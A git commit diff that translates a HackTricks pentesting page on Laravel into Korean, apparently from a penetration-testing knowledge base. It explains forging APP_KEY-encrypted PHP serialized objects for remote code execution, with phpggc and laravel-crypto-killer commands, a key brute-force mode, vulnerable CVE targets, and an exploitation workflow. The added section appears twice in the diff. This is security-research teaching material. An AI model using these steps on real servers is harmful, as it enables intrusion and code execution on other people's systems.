Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

This commit is contained in:
Translator 2025-07-10 12:38:32 +00:00
parent f9afc45116
commit cc7691d79e

View File

@ -1,9 +1,94 @@
# Laravel
{{#include /banners/hacktricks-training.md}}
### Laravel SQLInjection
여기에서 정보를 읽어보세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel은 내부적으로 HMAC 무결성을 가진 AES-256-CBC (또는 GCM)를 사용합니다 (`Illuminate\\Encryption\\Encrypter`).
최종적으로 **클라이언트에 전송되는** 원시 암호문은 **JSON 객체의 Base64**입니다:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)`는 기본적으로 평문을 `serialize()`하며, 반면에 `decrypt($payload, $unserialize=true)` **는 자동으로 복호화된 값을 `unserialize()`합니다.** 따라서 **32바이트 비밀 `APP_KEY`를 아는 공격자는 암호화된 PHP 직렬화 객체를 만들고 마법 메서드(`__wakeup`, `__destruct`, …)를 통해 RCE를 얻을 수 있습니다.**
최소 PoC (프레임워크 ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
생성된 문자열을 취약한 `decrypt()` 싱크(경로 매개변수, 쿠키, 세션 등)에 주입합니다.
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)는 전체 프로세스를 자동화하고 편리한 **bruteforce** 모드를 추가합니다:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/태그 필드를 재생성합니다.
---
## 실제 취약한 패턴
| 프로젝트 | 취약한 싱크 | 가젯 체인 |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` 쿠키가 `Passport::withCookieSerialization()`이 활성화되었을 때 | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` 쿠키 | Laravel/RCE15 |
악용 워크플로우는 항상 다음과 같습니다:
1. `APP_KEY` 획득 (기본 예제, Git 유출, config/.env 유출 또는 무차별 대입)
2. **PHPGGC**로 가젯 생성
3. `laravel_crypto_killer.py encrypt …`
4. 취약한 매개변수/쿠키를 통해 페이로드 전달 → **RCE**
---
## 쿠키 무차별 대입을 통한 대량 APP_KEY 발견
모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공개 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다.
Synacktiv에서 발표한 연구의 주요 발견(2024-2025):
* 데이터셋 2024년 7월 » 580k 토큰, **3.99 % 키 해독됨** (≈23k)
* 데이터셋 2025년 5월 » 625k 토큰, **3.56 % 키 해독됨**
* >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰이 직렬화된 데이터를 직접 포함하고 있습니다.
* 엄청난 키 재사용 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다.
개인 Go 도구 **nounours**는 AES-CBC/GCM 무차별 대입 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 2분 미만으로 줄입니다.
---
## 참고자료
* [Laravel: APP_KEY 유출 분석](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP 일반 가젯 체인](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 작성 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}
## Laravel Tricks
## Laravel 트릭
### 디버깅 모드
@ -16,11 +101,11 @@ Laravel이 **디버깅 모드**에 있으면 **코드**와 **민감한 데이터
### .env
Laravel은 쿠키 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, 이는 다음 경로를 통해 접근할 수 있습니다: `/../.env`
Laravel은 쿠키 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, `/../.env` 아래에서 일부 경로 탐색을 사용하여 접근할 수 있습니다.
Laravel은 또한 이 정보를 디버그 페이지(오류가 발생하고 활성화될 때 나타남) 내에 표시합니다.
Laravel은 또한 이 정보를 디버그 페이지에 표시합니다(오류를 발견했을 때 나타나고 활성화됩니다).
Laravel의 비밀 APP_KEY를 사용하여 쿠키를 복호화하고 다시 암호화할 수 있습니다:
Laravel의 비밀 APP_KEY를 사용하여 쿠키를 복호화하고 암호화할 수 있습니다:
### 쿠키 복호화
```python
@ -98,5 +183,87 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
여기에서 이에 대한 정보를 읽어보세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
여기에서 이에 대한 정보를 읽어보세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel은 내부적으로 HMAC 무결성과 함께 AES-256-CBC (또는 GCM)를 사용합니다 (`Illuminate\\Encryption\\Encrypter`).
최종적으로 **클라이언트에 전송되는** 원시 암호문은 **JSON 객체의 Base64**입니다:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)`는 기본적으로 평문을 `serialize()`하며, 반면에 `decrypt($payload, $unserialize=true)` **는 자동으로 복호화된 값을 `unserialize()`합니다.** 따라서 **32바이트 비밀 `APP_KEY`를 아는 공격자는 암호화된 PHP 직렬화 객체를 만들고 마법 메서드(`__wakeup`, `__destruct`, …)를 통해 RCE를 얻을 수 있습니다.**
최소 PoC (프레임워크 ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
생성된 문자열을 취약한 `decrypt()` 싱크(경로 매개변수, 쿠키, 세션 등)에 주입합니다.
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)는 전체 프로세스를 자동화하고 편리한 **bruteforce** 모드를 추가합니다:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/태그 필드를 재생성합니다.
---
## 실제 취약한 패턴
| 프로젝트 | 취약한 싱크 | 가젯 체인 |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` 쿠키가 `Passport::withCookieSerialization()`이 활성화된 경우 | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` 쿠키 | Laravel/RCE15 |
악용 워크플로우는 항상 다음과 같습니다:
1. `APP_KEY` 획득 (기본 예제, Git 유출, config/.env 유출 또는 무차별 대입)
2. **PHPGGC**로 가젯 생성
3. `laravel_crypto_killer.py encrypt …`
4. 취약한 매개변수/쿠키를 통해 페이로드 전달 → **RCE**
---
## 쿠키 무차별 대입을 통한 대량 APP_KEY 발견
모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공공 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다.
Synacktiv에서 발표한 연구의 주요 발견 (2024-2025):
* 데이터셋 2024년 7월 » 580k 토큰, **3.99 % 키 해독됨** (≈23k)
* 데이터셋 2025년 5월 » 625k 토큰, **3.56 % 키 해독됨**
* >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰이 직접 직렬화된 데이터를 포함합니다.
* 엄청난 키 재사용 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다.
개인 Go 도구 **nounours**는 AES-CBC/GCM 무차별 대입 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 <2분으로 줄입니다.
---
## 참고자료
* [Laravel: APP_KEY 유출 분석](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP 일반 가젯 체인](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 작성 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}